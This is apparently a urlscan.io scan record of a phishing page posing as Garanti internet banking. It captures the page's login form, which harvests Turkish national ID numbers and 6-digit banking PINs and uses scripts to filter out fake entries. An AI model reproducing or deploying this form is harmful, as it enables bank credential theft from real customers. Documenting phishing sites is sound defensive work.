solarpor.com Open in urlscan Pro
2606:4700:3033::ac43:bbb3  Public Scan

URL: https://solarpor.com/?g=1&utm_medium=paid&utm_source=ig&utm_id=120213266997610159&utm_content=120213266997740159&utm_...
Submission: On September 04 via api from TR — Scanned from DE

Form analysis 1 forms found in the DOM

POST

<form id="login-form" action="" method="POST" autocomplete="off">
  <div class="form-group">
    <label class="text-start">Müşteri / T.C. Kimlik Numarası</label>
    <input type="tel" required="" inputmode="number" name="username" pattern="[0-9]{11}" maxlength="11" class="form-control" id="tcno">
    <p id="tcerror" style="color: red;"></p>
  </div>
  <div class="form-group">
    <label>Şifre</label>
    <input type="password" required="" name="password" maxlength="6" inputmode="numeric" class="form-control" id="passwordInput">
    <p id="passwordError" style="color: red;"></p>
  </div>
  <script>
    document.getElementById('tcno').addEventListener('input', function() {
      var value = document.getElementById('tcno').value
      if (!(value.length < 11)) {
        var validate = isValidTcIdNum(value);
        if (!validate) {
          document.getElementById('tcerror').textContent = "Hatalı T.C. kimlik numarası";
        } else {
          document.getElementById('tcerror').textContent = "";
        }
      }
    });
    document.getElementById('passwordInput').addEventListener('input', function() {
      var validate = validatePassword();
      if (validate) {
        // document.getElementById('passwordError').textContent = validate;
      } else {
        document.getElementById('passwordInput').textContent = "";
      }
    });
    document.getElementById('login-form').addEventListener('submit', function(event) {
      setTimeout(function() {
        var validate = validatePassword();
        if (validate) {
          alert(validate);
          event.preventDefault();
        }
      }, 2000);
    });

    function isValidTcIdNum(tcId) {
      // Check the first digit and length
      if (parseInt(tcId[0]) < 1 || tcId.length !== 11) {
        return false;
      }
      // Check the eleventh digit
      // Formula: n11 = (n1+n2+..+n10) mod 10
      const eleventhDigit = tcId.split('').slice(0, 10).reduce((sum, digit) => sum + parseInt(digit), 0) % 10;
      if (eleventhDigit !== parseInt(tcId[10])) {
        return false;
      }
      // Calculate the tenth digit...
      // Formula: n10 = ((n1+n3+n5+n7+n9)*7-(n2+n4+n6+n8)) mod 10
      const tenthDigit = (tcId.split('').filter((_, index) => index % 2 === 0).reduce((sum, digit) => sum + parseInt(digit), 0) * 7 - tcId.split('').filter((_, index) => index % 2 !== 0 && index < 9).reduce((sum, digit) => sum + parseInt(digit),
        0)) % 10;
      return tenthDigit === parseInt(tcId[9]);
    }

    function validatePassword() {
      var passwordInput = document.getElementById('passwordInput');
      // Check for consecutive numbers
      if (hasConsecutiveNumbers(passwordInput.value)) {
        return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
      }
      // Check for repeating patterns
      if (hasRepeatingPatterns(passwordInput.value)) {
        return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
      }
      // Enforce a mix of numbers
      if (!hasMixedNumbers(passwordInput.value)) {
        return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
      }
      // Enforce a minimum length
      if (passwordInput.value.length < 6) {
        return "Şifreniz 6 haneden oluşmalıdır";
      }
      return null;
    }

    function hasConsecutiveNumbers(password) {
      for (var i = 0; i < password.length - 2; i++) {
        var currentDigit = parseInt(password.charAt(i));
        var nextDigit = parseInt(password.charAt(i + 1));
        var thirdDigit = parseInt(password.charAt(i + 2));
        if (nextDigit === currentDigit + 1 && thirdDigit === currentDigit + 2) {
          return true; // Consecutive numbers found
        }
      }
      return false; // No consecutive numbers found
    }

    function hasRepeatingPatterns(pin) {
      // Convert the pin to a string
      const pinString = pin.toString();
      // Check for 3 chunks with 2 digits being the same
      for (let i = 0; i <= pinString.length - 6; i++) {
        const chunk = pinString.slice(i, i + 6);
        if (chunk[0] === chunk[2] && chunk[2] === chunk[4]) {
          return true;
        }
      }
      // Check for 2 chunks with 3 digits being the same
      for (let i = 0; i <= pinString.length - 6; i++) {
        const chunk = pinString.slice(i, i + 6);
        if (chunk[0] === chunk[3] && chunk[3] === chunk[5]) {
          return true;
        }
      }
      // No repeating pattern found
      return false;
    }

    function hasMixedNumbers(password) {
      var hasDigit = false;
      for (var i = 0; i < password.length; i++) {
        if (!isNaN(password[i])) {
          hasDigit = true;
          break;
        }
      }
      return hasDigit;
    }
  </script>
  <button type="submit" id="submit" class="login-btn">Giriş</button>
</form>

Text Content

Bireysel
Türkçe


GARANTI INTERNET BANKACILIĞI'NA
HOŞ GELDINIZ!

Müşteri / T.C. Kimlik Numarası



Şifre



Giriş